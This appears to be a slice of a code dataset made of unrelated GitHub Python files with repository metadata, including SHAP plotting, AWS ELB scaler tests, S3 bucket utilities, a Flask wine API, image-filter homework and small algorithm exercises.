force_plot(self, X, name):\n        \"\"\"\n        Plots a SHAP force plot for a single prediction for a single output.\n\n        Parameters\n        ----------\n        X: pd.DataFrame\n            Feature set to make force plot for (length should be 1).\n        name: str\n            Output to make force plt for.\n\n        Returns\n        -------\n        shap.force_plot\n            Force plot object.\n        \"\"\"\n\n        if X.shape[0] != 1:\n            raise ValueError(\"First dimension should be 1. Expected a single case for force plot!\")\n\n        model = self.models[name]\n        check_is_fitted(model)\n        explainer = self.get_explainer(name)\n\n        # rescaling base values for multiclass https://evgenypogorelov.com/multiclass-xgb-shap.html\n        def logodds_to_proba(logodds):\n            return np.exp(logodds) / np.exp(logodds).sum()\n\n        predict_proba = model.predict_proba(X)\n        i_max = np.argmax(predict_proba)\n        end_value = predict_proba[0, i_max]\n        X_pre = model.best_estimator_[:-1].transform(X)\n        shap_values = explainer.shap_values(X_pre)[i_max]\n        base_value = logodds_to_proba(explainer.expected_value)[i_max]\n        feature_names = [re.sub(\"(t0_|gender_|_yes|_no|)\", \"\", n).replace(\"_\", \" \") for n in get_feature_names(model)]\n        out_names = f\"{name} = {model.classes_[i_max]}\"\n\n        # rescaling according to https://github.com/slundberg/shap/issues/29\n        shap_values = shap_values / shap_values.sum() * (end_value - base_value)\n\n        fp = shap.force_plot(\n            base_value=base_value,\n            shap_values=shap_values,\n            # features=X_pre,\n            feature_names=feature_names,\n            out_names=out_names,\n            #             link=\"logit\",\n        )\n        return fp\n\n    def force_plots(self, X=None):\n        \"\"\"\n        Make SHAP force plots for all outputs.\n        If no feature set X is given, a random sample from the test data is loaded.\n\n        Parameters\n        ----------\n        X: pd.DataFrame\n            Feature set to make force plot for (length should be 1).\n\n        Returns\n        -------\n\n        \"\"\"\n\n        if X is None:\n            df_data = self.load_data(\"test\").sample()\n            X, Y = self.split_XY(df_data)\n\n        for name in self.models:\n            display(self.force_plot(X, name))\n\n    def confusion_plots(self, save=False):\n        \"\"\"\n        Plots confusion plots for every output, based on the test set.\n\n        Returns\n        -------\n        dict()\n            A dictionary with keys being the outputs and values being the plt figures.\n        \"\"\"\n\n        df_data = self.load_data(\"test\")\n        X, Y = self.split_XY(df_data)\n\n        for name, model in self.models.items():\n            check_is_fitted(model)\n            plot_confusion_matrix(model, X, Y[name], cmap=plt.cm.Blues, xticks_rotation=45)\n            plt.title(f\"\\nConfusion matrix for {name}:\\n\")\n            if save:\n                plt.savefig(fname=f\"confusion_matrix_{name}.png\")","repo_name":"laurencefrank/NHS-PROMs","sub_path":"NHS_PROMs/master_class.py","file_name":"master_class.py","file_ext":"py","file_size_in_byte":14599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"74141448740","text":"import datetime\nfrom unittest.mock import Mock, patch\n\nfrom freezegun import freeze_time\n\nfrom app.elb_scaler import ElbScaler\n\napp_name = \"test-app\"\nmin_instances = 1\nmax_instances = 2\n\n\n@patch(\"app.base_scalers.boto3\")\nclass TestElbScaler:\n    input_attrs = {\n        \"threshold\": 1500,\n        \"elb_name\": \"notify-paas-proxy\",\n        \"request_count_time_range\": {\"minutes\": 10},\n    }\n\n    def test_init_assigns_relevant_values(self, mock_boto3):\n        elb_scaler = ElbScaler(app_name, min_instances, max_instances, **self.input_attrs)\n\n        assert elb_scaler.app_name == app_name\n        assert elb_scaler.min_instances == min_instances\n        assert elb_scaler.max_instances == max_instances\n        assert elb_scaler.threshold == self.input_attrs[\"threshold\"]\n        assert elb_scaler.elb_name == self.input_attrs[\"elb_name\"]\n        assert elb_scaler.request_count_time_range == self.input_attrs[\"request_count_time_range\"]\n\n    def test_cloudwatch_client_initialization(self, mock_boto3):\n        mock_client = mock_boto3.client\n        elb_scaler = ElbScaler(app_name, min_instances, max_instances, **self.input_attrs)\n        elb_scaler.statsd_client = Mock()\n\n        assert elb_scaler.cloudwatch_client is None\n        elb_scaler.get_desired_instance_count()\n        assert elb_scaler.cloudwatch_client == mock_client.return_value\n        mock_client.assert_called_with(\"cloudwatch\", region_name=\"eu-west-1\")\n\n    @freeze_time(\"2018-03-15 15:10:00\")\n    def test_get_desired_instance_count(self, mock_boto3):\n        # set to 5 minutes, to have a smaller mocked response\n        self.input_attrs[\"request_count_time_range\"] = {\"minutes\": 5}\n        cloudwatch_client = mock_boto3.client.return_value\n        cloudwatch_client.get_metric_statistics.return_value = {\n            \"Datapoints\": [\n                {\"Sum\": 1500, \"Timestamp\": 111111110},\n                {\"Sum\": 1600, \"Timestamp\": 111111111},\n                {\"Sum\": 5500, \"Timestamp\": 111111112},\n                {\"Sum\": 5300, \"Timestamp\": 111111113},\n                {\"Sum\": 2100, \"Timestamp\": 111111114},\n            ]\n        }\n\n        elb_scaler = ElbScaler(app_name, min_instances, max_instances, **self.input_attrs)\n        elb_scaler.statsd_client = Mock()\n\n        assert elb_scaler.get_desired_instance_count() == 2\n        cloudwatch_client.get_metric_statistics.assert_called_once_with(\n            Namespace=\"AWS/ELB\",\n            MetricName=\"RequestCount\",\n            Dimensions=[\n                {\"Name\": \"LoadBalancerName\", \"Value\": self.input_attrs[\"elb_name\"]},\n            ],\n            StartTime=elb_scaler._now() - datetime.timedelta(**self.input_attrs[\"request_count_time_range\"]),\n            EndTime=elb_scaler._now(),\n            Period=60,\n            Statistics=[\"Sum\"],\n            Unit=\"Count\",\n        )\n        elb_scaler.statsd_client.gauge.assert_called_once_with(\"{}.request-count\".format(elb_scaler.app_name), 5500)\n","repo_name":"alphagov/notifications-paas-autoscaler","sub_path":"tests/test_elb_scaler.py","file_name":"test_elb_scaler.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"10002227683","text":"#!/usr/bin/python\nfrom bs4 import BeautifulSoup as bs\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium import webdriver\nfrom time import sleep\n\nclass Raspagem:\n    def __init__(self, driver):\n        self.driver = driver\n        self.url_site = f'https://covid.saude.gov.br/'\n        ff.get(self.url_site)\n        self.botao = ff.find_element_by_xpath(\n            '/html/body/app-root/ion-app/ion-router-outlet/app-home/ion-content/div[1]/div[2]/ion-button'\n        )\n        self.botao.click()\n        sleep(10)\nff = webdriver.Chrome()\nraspagem = Raspagem(ff)\nff.quit()\n","repo_name":"johndelara1/covid_19","sub_path":"raspagem_covid.py","file_name":"raspagem_covid.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"44225279329","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 25 23:03:09 2021\n\n@author: user\n\"\"\"\n\nimport numpy as np\nfrom scipy import signal, misc, ndimage\nfrom skimage import filters, feature, img_as_float, exposure\nfrom skimage.io import imread\nfrom skimage.color import rgb2gray\nfrom PIL import Image, ImageFilter\nimport matplotlib.pylab as pylab\nimport matplotlib.pylab as plt\nimport cv2\n\nimport time\n\nfrom skimage.morphology import binary_erosion\n\n# sobelEdge 사용 시 필요\nimport scipy.fftpack as fp\n\n# 히스토그램 평활화\ndef equalize_func(im):\n    return exposure.equalize_hist(im)\n\n# 콘트라스트 스트레칭\ndef contrast_str_func(im):\n    from_, to_ = np.percentile(im, (2, 98))\n    return exposure.rescale_intensity(im, in_range=(from_, to_))\n\n# 1. HPF\ndef highPassFiliter(im, t):\n  t = time.time()\n  freq = fp.fft2(im) # 고속 fft변환\n  (w, h) = freq.shape # 너비값 저장\n  half_w, half_h = int(w/2), int(h/2) # 중앙값 계산\n  freq1 = np.copy(freq) # fft 변환값 저장\n  freq2 = fp.fftshift(freq1) # fft 변환값 쉬프팅\n  # 하이패스 필터 적용  \n  freq2[half_w-20:half_w+21,half_h-20:half_h+21] = 0 # 저주파(스펙트럼 중앙 부분)대역 삭제\n  im1 = np.clip(fp.ifft2(fp.ifftshift(freq2)).real,0,255) # 고속푸리에변환 후 허수값을 제외한 0에서 255값의 변환이미지 값 생성\n  return im1, time.time() - t\n\n# 2. unshape masking\ndef unshape_masking(im, t):\n    t = time.time()\n    im = rgb2gray(img_as_float(im))  # skimage라이브러리의 함수 rgb2gray()를 통한 이진화\n    im_blurred = ndimage.gaussian_filter(im, 5)    # 가우시안필터를 이용하여 블러링처리\n    im_detail = np.clip(im - im_blurred, 0, 1)     # 원본이미지에서 블러링한 이미지를 빼서 마스크 생성\n    #im_sharp = np.clip(im + 5*im_detail, 0, 1)   # 마스크를 영상에 더한다(가중치 =5, 가장 원본과 차이가 큼)\n    return im_detail, time.time() - t\n\n# 4. 라플라시안\ndef laplacian_func(img, t):\n    t = time.time()\n    laplac_kern = [[1,1,1],[1,-8,1],[1,1,1]] # 라플라시안 필터 생성\n    result = np.clip(signal.convolve2d(img, laplac_kern, mode='same'), 0, 1) #라플라시안 필터로 컨볼루션 적용\n    return result, time.time() - t\n\n# 5. 경계 추출\ndef boundary_func(im, t):   #경계 추출\n    t = time.time()\n    threshold = 0.5 # 임계값 설정\n    im[im<threshold], im[im >= threshold] = 0, 1 # 임계값보다 작은 값은 0, 크거나 같은 값은 1\n    boundary = im - binary_erosion(im) # 경계를 추출하기 위해 이진 영상에서 침식된 영상을 뺀다\n    result = np.array(boundary)\n    return result, time.time() - t\n\n# 6. Sobel 엣지\ndef sobelEdge_func(im, t):\n    t = time.time()\n    edges = filters.sobel(im) # 소벨에지 적용\n    return edges, time.time() - t\n\n# 7. 캐니\ndef canny_func(im, t):\n    t = time.time()\n    canny = feature.canny(im, 1)\n    result = np.array(canny)\n    return result, time.time() - t\n\n\n\nim = []\nfor i in range(3):\n    path_ = '../images/' + str(3) +'.jpg'\n    im.append(rgb2gray(imread(path_)))\n    \n    \nhist_equ = []\ncont_img = []\nfor i in range(3):\n    hist_equ.append(equalize_func(im[i]))\n    cont_img.append(contrast_str_func(im[i]))\n\nresult_img = []\ntmp = 0\n\ntime_ = [];\ntime_temp = 0; \nfor j in range(2):\n    if j == 0: \n        img_temp = hist_equ \n        title = 'histogram equalize'\n    if j == 1: \n        img_temp = cont_img\n        title = 'contrast stretching'\n    for k in range(3):\n        fig, axes=plt.subplots(2, 4, figsize=(16,8))\n        axes[0][0].imshow(img_temp[k])\n        tmp, time_temp = highPassFiliter(img_temp[k], time_temp)\n        axes[0][1].imshow(tmp)\n        time_.append(round(time_temp*1000, 2))\n        tmp, time_temp = unshape_masking(img_temp[k], time_temp)\n        axes[0][2].imshow(tmp)\n        time_.append(round(time_temp*1000, 2))\n        tmp, time_temp = canny_func(img_temp[k], time_temp)\n        axes[0][3].imshow(tmp)\n        time_.append(round(time_temp*1000, 2))\n        tmp, time_temp = laplacian_func(img_temp[k], time_temp)\n        axes[1][0].imshow(tmp)\n        time_.append(round(time_temp*1000, 2))\n        tmp, time_temp = boundary_func(img_temp[k], time_temp)\n        axes[1][1].imshow(tmp)\n        time_.append(round(time_temp*1000, 2))\n        tmp, time_temp = sobelEdge_func(img_temp[k], time_temp)\n        axes[1][2].imshow(tmp)\n        time_.append(round(time_temp*1000, 2))\n        tmp, time_temp = canny_func(img_temp[k], time_temp)\n        axes[1][3].imshow(tmp)\n        time_.append(round(time_temp*1000, 2))\n        axes[0][0].axis('off')\n        axes[0][1].axis('off')\n        axes[0][2].axis('off')\n        axes[0][3].axis('off')\n        axes[1][0].axis('off')\n        axes[1][1].axis('off')\n        axes[1][2].axis('off')\n        axes[1][3].axis('off')\n        \n        axes[0][0].set_title(title)\n        axes[0][1].set_title('HPF')\n        axes[0][2].set_title('Unshape masking')\n        axes[0][3].set_title('Gradient')\n        axes[1][0].set_title('Laplacian')\n        axes[1][1].set_title('Boundary')\n        axes[1][2].set_title('Sobel')\n        axes[1][3].set_title('HPF')\n        plt.show()\n     \nsum_temp = [[0 for col in range(7)] for row in range(2)]\nfor i in range(2):\n  for j in range(7):\n    sum_temp[i][j] = float(0.0)\n    \nfor i in range(0, 42):\n    sum_temp[int(i//3)] += time_[int(i%14)]\n    \nfor i in range(3):\n  for j in range(2):\n    for k in range(7):\n      sum_temp[j][k] += time_[(i*j)+k]\n\nsum_total = []\ncnt = int(0)\nfor j in range(2):\n    for k in range(7):\n      sum_total[cnt] = sum_temp[j][k] / 3.0   \n      cnt = cnt + 1\n      \nsum_total.sort()\n\nprint(sum_total)\n\n\n    \n      \n      \n    # for i in hist_equ:\n    #     tmp, time_temp = laplacian_func(i, time_temp)\n    #     result_img.append(tmp)\n    #     time_.append(str(time_temp*1000)+'ms')\n    #     #time_temp = 0\n    #     tmp, time_temp = canny_func(i, time_temp)\n    #     result_img.append(tmp)\n    #     time_.append(str(time_temp*1000)+'ms')\n    #     #time_temp = 0\n    \n    # for i in cont_img:\n    #     tmp, time_temp = laplacian_func(i, time_temp)\n    #     result_img.append(tmp)\n    #     time_.append(str(time_temp*1000)+'ms')\n    #     #time_temp = 0\n    #     tmp, time_temp = canny_func(i, time_temp)\n    #     result_img.append(tmp)\n    #     time_.append(str(time_temp*1000)+'ms')\n    #     #time_temp = 0\n    ","repo_name":"oMFDOo/School_3.2","sub_path":"3.디지털영상처리/Hands-On-Image-Processing-with-Python-master/code/과제1-에지검출하기.py","file_name":"과제1-에지검출하기.py","file_ext":"py","file_size_in_byte":6380,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"73469309222","text":"\n\"\"\"\n  This program is used to test tf.Graph() function\n  a : zhonghy\n  date : 2019-7-25\n\n\"\"\"\n\nimport tensorflow as tf\n\n# 1. Using Graph.as_default():\ng = tf.Graph()\nwith g.as_default():\n    c = tf.constant(5.0)\n    assert c.graph is g\n\n# 2. Constructing and making default:\nwith tf.Graph().as_default() as g:\n    c = tf.constant(5.0)\n    assert c.graph is g\n\n\n\n\n","repo_name":"530634028/ProgramPractice","sub_path":"TensorflowAndKeras/tf_graph_test.py","file_name":"tf_graph_test.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40317882169","text":"# Three different list search\n\na = [1, 3, 5, 30, 42, 43, 500]\nnum = int(input(\"number to search: \"))\n\ndef checkList1(alist, num):\n  if num in alist:\n    return True\n  else:\n    return False\n\ndef checkList2(alist, num, lb, ub):\n  \n  if ub >= lb:\n    mid = lb + (ub-lb)//2\n\n    if alist[mid] == num:\n      return True\n\n    elif alist[mid] > num:\n      return checkList2(alist, num, lb, mid-1)\n    \n    elif alist[mid] < num:\n      return checkList2(alist, num, mid+1, ub)\n  \n  else:\n    return False\n\ndef checkList3(alist, num):\n\n  lb = 0\n  ub = len(alist)-1\n\n  while ub > lb:\n    mid = ub-lb // 2\n\n    if alist[mid] == num:\n      return True\n\n    elif alist[mid] > num:\n      ub = mid - 1\n\n    elif alist[mid] < num:\n      lb = mid + 1\n  \n  else:\n    return False\n\nprint (\"check1:\",checkList1(a, num))\nprint (\"check2:\",checkList2(a, num, 0, len(a)-1))\nprint (\"check3:\",checkList3(a,num))","repo_name":"dvllio/practice-python","sub_path":"list-search.py","file_name":"list-search.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24713208220","text":"from botocore.exceptions import ClientError\nimport boto3\nimport logging\n\nfrom s3drizzle import (\n    logs\n)\n\n\ndef create_bucket(client, bucket):\n    logging.info('Create bucket {bucket}.'.format(\n        bucket=bucket\n    ))\n    client.create_bucket(\n        Bucket=bucket,\n    )\n\n\ndef destroy_bucket(args, client, bucket):\n    logging.info('Deleting bucket {bucket}.'.format(\n        bucket=bucket\n    ))\n    try:\n        client.delete_bucket(\n            Bucket=bucket\n        )\n        return True\n    except ClientError as e:\n        if e.response['Error']['Code'] == 'NoSuchBucket':\n            logging.info('Bucket {bucket} does not exist, but that is ok...continuing.'.format(\n                bucket=bucket\n            ))\n            return\n        raise e\n\n\ndef deploy_file(client, bucket, path, file_content):\n    logging.info(\"Creating {path} in bucket {bucket}.\".format(\n        path=path,\n        bucket=bucket\n    ))\n    client.put_object(\n        ACL='public-read',\n        Body=file_content,\n        Bucket=bucket,\n        ContentType=\"text/html\",\n        Key=path\n    )\n\n\ndef empty_bucket(args, session, bucket):\n    logging.info('Emptying bucket {bucket}.'.format(\n        bucket=bucket\n    ))\n    try:\n        bucket_session = session.Bucket(bucket)\n        bucket_session.object_versions.delete()\n    except ClientError as e:\n        if e.response['Error']['Code'] == 'NoSuchBucket':\n            logging.info('Bucket {bucket} does not exist, but that is ok...continuing.'.format(\n                bucket=bucket\n            ))\n            return\n        raise e\n\n\ndef enable_access_logging(client, source_bucket, log_bucket):\n    logging.info('Enable bucket access logging for {bucket} to {log}.'.format(\n        bucket=source_bucket,\n        log=log_bucket\n    ))\n    client.put_bucket_logging(\n        Bucket=source_bucket,\n        BucketLoggingStatus={\n            'LoggingEnabled': {\n                'TargetBucket': log_bucket,\n                'TargetPrefix': ''\n            }\n        },\n    )\n\n\ndef grant_logging_access(client, log_bucket):\n    logging.info('Granting logging access to {bucket}.'.format(\n        bucket=log_bucket\n    ))\n    canonical_id = get_canonical_id(client)\n    client.put_bucket_acl(\n        Bucket=log_bucket,\n        GrantFullControl='id={canonical_id}'.format(canonical_id=canonical_id),\n        GrantWrite='uri=http://acs.amazonaws.com/groups/s3/LogDelivery',\n        GrantReadACP='uri=http://acs.amazonaws.com/groups/s3/LogDelivery',\n    )\n\n\ndef get_canonical_id(client):\n    buckets = client.list_buckets()\n    return buckets['Owner']['ID']\n\n\ndef get_relevent_requests(args):\n    session = boto3.Session(profile_name=args.profile)\n    client = session.client('s3')\n\n    relevant_requests = []\n    response = None\n    response = client.list_objects_v2(Bucket=args.log_bucket)\n\n    if 'Contents' in response.keys():\n        for s3_object in response['Contents']:\n            s3_object_body = get_object_data(\n                client,\n                args.log_bucket,\n                s3_object['Key']\n            )\n\n            s3_log_lines = s3_object_body.splitlines()\n\n            for line in s3_log_lines:\n                if \"S3Console\" in line or \"REST.HEAD.OBJECT\" not in line:\n                    continue\n                parsed_line = logs.parse_s3_log_line(line)\n                uri = parsed_line[8].split(\" \")[1]\n                if (parsed_line[6] == \"REST.HEAD.OBJECT\"\n                        and args.session in uri):\n                    relevant_requests.append(uri)\n\n    return relevant_requests\n\n\ndef get_object_data(client, bucket, object_key):\n    response = client.get_object(\n        Bucket=bucket,\n        Key=object_key)\n    return response['Body'].read().decode(\"utf-8\")\n","repo_name":"nagwag/s3drizzle","sub_path":"s3drizzle/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26791717090","text":"import os.path\n\nimport sys\nsys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\"))\nfrom unittest.mock import patch\nimport OBJReader\n\ntest_path = os.path.join(os.path.dirname(OBJReader.__file__), \"tests\")\n\n\ndef test_readOBJ():\n    reader = OBJReader.OBJReader()\n    sphere_file = os.path.join(test_path, \"sphere.obj\")\n    with patch(\"UM.Application.Application.getInstance\"):\n        result = reader.read(sphere_file)\n\n    assert result  # It must return a node\n    assert result.getMeshData()  # It should have mesh data\n    assert result.getMeshData().getVertexCount() == 3840\n    assert result.getMeshData().getFaceCount() == 1280\n    assert result.getMeshData().hasNormals()  # It should have normals.","repo_name":"Szu-Chi/3d-printing-with-moveo","sub_path":"Cura/Uranium/plugins/FileHandlers/OBJReader/tests/TestOBJReader.py","file_name":"TestOBJReader.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"}
{"seq_id":"23578196","text":"\"\"\"\nhttps://open.kattis.com/problems/ratingproblems\nAuthor: https://github.com/smh997/\n\"\"\"\nn, k = map(int, input().split())\ns = 0\nfor i in range(k):\n    a = int(input())\n    s += a\nprint((s+(n-k)*(-3))/n, (s+(n-k)*3)/n)\n","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Kattis/ratingproblems.py","file_name":"ratingproblems.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"26595261008","text":"#!/usr/bin/env python3\n\"\"\"\n  This demo application demonstrates the functionality of the safrs documented REST API\n  When safrs is installed, you can run this app:\n  $ python3 demo_relationship.py [Listener-IP]\n  This will run the example on http://Listener-Ip:5000\n  - An sqlite database is created and populated\n  - A jsonapi rest API is created\n  - Swagger documentation is generated\n\"\"\"\nimport os\nimport sys\n\nimport pandas as pd\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom safrs import SAFRSBase, SAFRSAPI\n\nfrom app.logging_config import logging_setup\n\ndb = SQLAlchemy()\n\n\n# sqla database objects\nclass Winery(SAFRSBase, db.Model):\n    __tablename__ = \"winery\"\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String, default=\"\")\n    country_id = db.Column(db.Integer, db.ForeignKey(\"countries.id\"))\n    province_id = db.Column(db.Integer, db.ForeignKey(\"province.id\"))\n    country = db.relationship(\"Country\", back_populates=\"winery\")\n    province = db.relationship(\"Province\", back_populates=\"winery\")\n\n\nclass Province(SAFRSBase, db.Model):\n    __tablename__ = \"province\"\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String, default=\"\")\n    country_id = db.Column(db.Integer, db.ForeignKey(\"countries.id\"))\n    winery = db.relationship(\"Winery\", back_populates=\"province\")\n    country = db.relationship(\"Country\", back_populates=\"province\")\n\n\n\nclass Country(SAFRSBase, db.Model):\n    __tablename__ = \"countries\"\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String, default=\"\")\n    winery = db.relationship(\"Winery\", back_populates=\"country\")\n    province = db.relationship(\"Province\", back_populates=\"country\")\n\n\n# create the api endpoints\ndef create_api(app, base_url=\"localhost\", host=\"localhost\", port=4000, api_prefix=\"\"):\n    # api = SAFRSAPI(app, host=host, port=port, prefix=api_prefix)\n    api = SAFRSAPI(app, host=host, port=port, prefix=api_prefix, title='Wine Data - Country/Winery API',\n                   description='A simple Wine data API (wineries and countries)')\n\n    api.expose_object(Country)\n    api.expose_object(Winery)\n    api.expose_object(Province)\n   # print(f\"Created API: http://{host}:{port}/{api_prefix}\")\n\n\ndef create_app(config_filename=None, host=\"localhost\"):\n    logging_setup()  # create and configure the app\n\n    app = Flask(\"demo_app\")\n    path = os.path.dirname(os.path.abspath(__file__))\n    db_path = os.path.join(path, '..', 'instance', 'file.db')\n    app.config.update(SQLALCHEMY_DATABASE_URI=\"sqlite:///\" + db_path)\n    app.config.update(SQLALCHEMY_TRACK_MODIFICATIONS=False)\n\n    db.init_app(app)\n\n    with app.app_context():\n        database_path = os.path.join(path, '..', 'instance', 'file.db')\n        #os.remove(database_path)\n        db.create_all()\n        # Populate the db with countries and a wineries and add the winery to the country.winery relationship\n        path = os.path.dirname(os.path.abspath(__file__))\n        data_path = os.path.join(path, '..', 'data', 'wines.csv')\n        # makes data frame to hold the world wineries data\n        df = pd.read_csv(data_path)\n        # Gets a list of unique countries from the data frame\n        countries = df.country.unique()\n        province = df.province.unique()\n\n        for country_name in countries:\n            # this creates a country model based on Sqlalchemy model\n            country = Country()\n            country.name = country_name\n            # get a list of wineries from the data frame that are in the country selected\n            winery = df.loc[df.country == country_name]\n            province = df.loc[df.country == country_name]\n\n            # looping through all winery\n            for winery_string in winery['winery']:\n                # Create a new winery\n                winery = Winery()\n                # Set the name\n                winery.name = winery_string\n                # append the city to the country\n                country.winery.append(winery)\n\n            # looping through all province\n            #for province_string in province['province']:\n            #    # Create a new province\n            #    province = Province()\n            #    # Set the name\n             #   province.name = province_string\n            #    # append the city to the country\n            #    country.province.append(province)\n\n        for province_name in province:\n            # this creates a country model based on Sqlalchemy model\n            province = Province()\n            province.name = province_name\n            # get a list of wineries from the data frame that are in the country selected\n            winery = df.loc[df.province == province_name]\n\n            # looping through all wineries\n            for winery_string in winery['winery']:\n                # Create a new winery\n                winery = Winery()\n                # Set the name\n                winery.name = winery_string\n                # append the city to the country\n                province.winery.append(winery)\n\n        create_api(app, host)\n\n    return app\n\n\n\n# address where the api will be hosted, change this if you're not running the app on localhost!\nhost = sys.argv[1] if sys.argv[1:] else \"127.0.0.1\"\napp = create_app(host=host)\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', debug=True)\n","repo_name":"DianaZawislak/WineData-openAPI-safrs","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37155993971","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\nt = np.linspace(-5, 10,100)\n\ny = (8.00/55.00)*np.cos(2*t) +(107.00/55.00)*np.sin(2*t) + (-8.00/55.00)*np.exp(-3*t/4)\n\nplt.grid()\nplt.xlabel('$t$')\nplt.ylabel('$y(t)$')\nplt.plot(t,y)\nplt.show()\n","repo_name":"Elonian/ADVANCED_CONTROL_SYSTEMS","sub_path":"presentation_plot.py","file_name":"presentation_plot.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11001123972","text":"'''\r\n给定一个数组 nums 和滑动窗口的大小 k，请找出所有滑动窗口里的最大值。\r\n\r\n示例:\r\n\r\n输入: nums = [1,3,-1,-3,5,3,6,7], 和 k = 3\r\n输出: [3,3,5,5,6,7]\r\n解释:\r\n\r\n  滑动窗口的位置                最大值\r\n---------------               -----\r\n[1  3  -1] -3  5  3  6  7       3\r\n 1 [3  -1  -3] 5  3  6  7       3\r\n 1  3 [-1  -3  5] 3  6  7       5\r\n 1  3  -1 [-3  5  3] 6  7       5\r\n 1  3  -1  -3 [5  3  6] 7       6\r\n 1  3  -1  -3  5 [3  6  7]      7\r\n \r\n\r\n提示：\r\n你可以假设 k 总是有效的，在输\r\n\r\n来源：力扣（LeetCode）\r\n链接：https://leetcode-cn.com/problems/hua-dong-chuang-kou-de-zui-da-zhi-lcof\r\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\r\n'''\r\nimport collections\r\nclass Solution:\r\n    def maxSlidingWindow(self, nums, k):\r\n        if not nums or k == 0: return []\r\n        deque = collections.deque()\r\n        # 未形成窗口,数组初始位置到正好形成长度为k的窗口\r\n        for i in range(k):\r\n            # 如果队列不为空 并且队列最后一个元素是 小于新遍历的元素，保持队列 递减 不增的状态\r\n            while deque and deque[-1] < nums[i]:\r\n                deque.pop()\r\n            deque.append(nums[i])\r\n        # 队列初始最前端为 最大值。\r\n        res = [deque[0]]\r\n        # 形成窗口后\r\n        for i in range(k, len(nums)):\r\n            # 窗口往右滑动，需要删除原窗口最左边的元素，添加新元素到最右侧\r\n            # 同时要维护 递减队列， 如果删除的元素是递减队列中最大的值，则队列对应元素也需要出队列\r\n            if deque[0] == nums[i - k]:\r\n                deque.popleft()\r\n            #\r\n            while deque and deque[-1] < nums[i]:\r\n                deque.pop()\r\n            deque.append(nums[i])\r\n            res.append(deque[0])\r\n        return res\r\n","repo_name":"dunkle/leetcode_block","sub_path":"单调栈问题/剑指 Offer 59 - I. 滑动窗口的最大值.py","file_name":"剑指 Offer 59 - I. 滑动窗口的最大值.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12556167144","text":"import sys\nimport math\nimport argparse\nimport torch.distributed as dist\nimport torch.multiprocessing as mp\nimport utils\nfrom greedrl import Solver\n\n\ndef do_train(args, rank):\n    world_size = args.world_size\n    model_filename = args.model_filename\n    problem_size = args.problem_size\n    batch_size = args.batch_size\n\n    index = model_filename.rfind('.')\n    if world_size > 1:\n        stdout_filename = '{}_r{}.log'.format(model_filename[0:index], rank)\n    else:\n        stdout_filename = '{}.log'.format(model_filename[0:index])\n\n    stdout = open(stdout_filename, 'a')\n    sys.stdout = stdout\n    sys.stderr = stdout\n\n    print(\"args: {}\".format(vars(args)))\n    if world_size > 1:\n        dist.init_process_group('NCCL', init_method='tcp://127.0.0.1:29500',\n                                rank=rank, world_size=world_size)\n\n    problem_batch_size = 8\n    batch_count = 0\n    if problem_size == 100:\n        batch_count = math.ceil(10000 / problem_batch_size)\n    elif problem_size == 1000:\n        batch_count = math.ceil(200 / problem_batch_size)\n    elif problem_size == 2000:\n        batch_count = math.ceil(100 / problem_batch_size)\n    elif problem_size == 5000:\n        batch_count = math.ceil(10 / problem_batch_size)\n    else:\n        raise Exception(\"unsupported problem size: {}\".format(problem_size))\n\n    nn_args = {\n        'encode_norm': 'instance',\n        'encode_layers': 6,\n        'decode_rnn': 'LSTM'\n    }\n\n    device = None if world_size == 1 else 'cuda:{}'.format(rank)\n    solver = Solver(device, nn_args)\n\n    train_dataset = utils.Dataset(None, problem_batch_size, problem_size)\n    valid_dataset = utils.Dataset(batch_count, problem_batch_size, problem_size)\n\n    solver.train(model_filename, train_dataset, valid_dataset,\n                 train_dataset_workers=5,\n                 batch_size=batch_size,\n                 memopt=10,\n                 topk_size=1,\n                 init_lr=1e-4,\n                 valid_steps=500,\n                 warmup_steps=0)\n\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--world_size', default=1, type=int, help='number of distributed processes')\n    parser.add_argument('--model_filename', type=str, help='model file name')\n    parser.add_argument('--problem_size', default=100, type=int, choices=[100, 1000, 2000, 5000],  help='problem size')\n    parser.add_argument('--batch_size', default=128, type=int,  help='batch size for training')\n\n    args = parser.parse_args()\n\n    processes = []\n    for rank in 